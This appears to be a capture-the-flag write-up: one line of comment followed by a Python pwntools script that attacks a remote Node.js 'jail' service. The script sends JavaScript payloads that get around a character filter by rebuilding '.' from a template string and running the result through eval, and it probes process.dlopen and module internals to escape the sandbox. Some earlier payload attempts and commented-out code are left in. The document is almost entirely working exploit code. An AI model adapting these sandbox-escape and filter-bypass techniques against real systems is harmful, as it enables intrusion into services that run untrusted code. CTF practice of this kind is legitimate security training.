Lots of disallowed characters you had to get around```import binasciifrom pwn import *import sysconn = remote("jail.alieni.se", 55542)conn.recvuntil(">")payload="""function hangup(){    for (var l of this.Buffer(1099999)){            console.log(l)    }    if (code || code === 0)        process.exitCode = code;
    if (!process._exiting) {        process._exiting = true;        process.emit('exit', process.exitCode || 0);    }    process.reallyExit(process.exitCode || 0);}"r""""payload="""console.log(process);function hangup(){    fs = process.dlopen("fs", "/usr/local/bin/node");    console.log("test");    console.log(fs);    j = process.dlopen("fs", "/app/jail.js");    console.log(module);    console.log(j);    console.log("hi");    if (code || code === 0)        process.exitCode = code;
    if (!process._exiting) {        process._exiting = true;        process.emit('exit', process.exitCode || 0);    }    process.reallyExit(process.exitCode || 0);}    """payload="""function RegExp{    test: return True;}    ask()    """payload='var m = 0;var k = "";for (var c of template) { if(m==1){k=c; break};if(c =="O"){m=1};}eval("%s")' % payload.replace('"',"'").replace(".", '" + k + "').replace("\n","")print("sending payload %s" % payload)conn.sendline(payload)#conn.recvuntil("!")j = conn.recvall()print(j)#for line in j.split("\n"):#while conn.can_recv(2):#    line = conn.recvline(False)#    if line != ' ' and line != '':#        if int(line) >= 32:#            #print(chr(int(line)))#            sys.stdout.write(chr(int(line)))#            sys.stdout.flush()```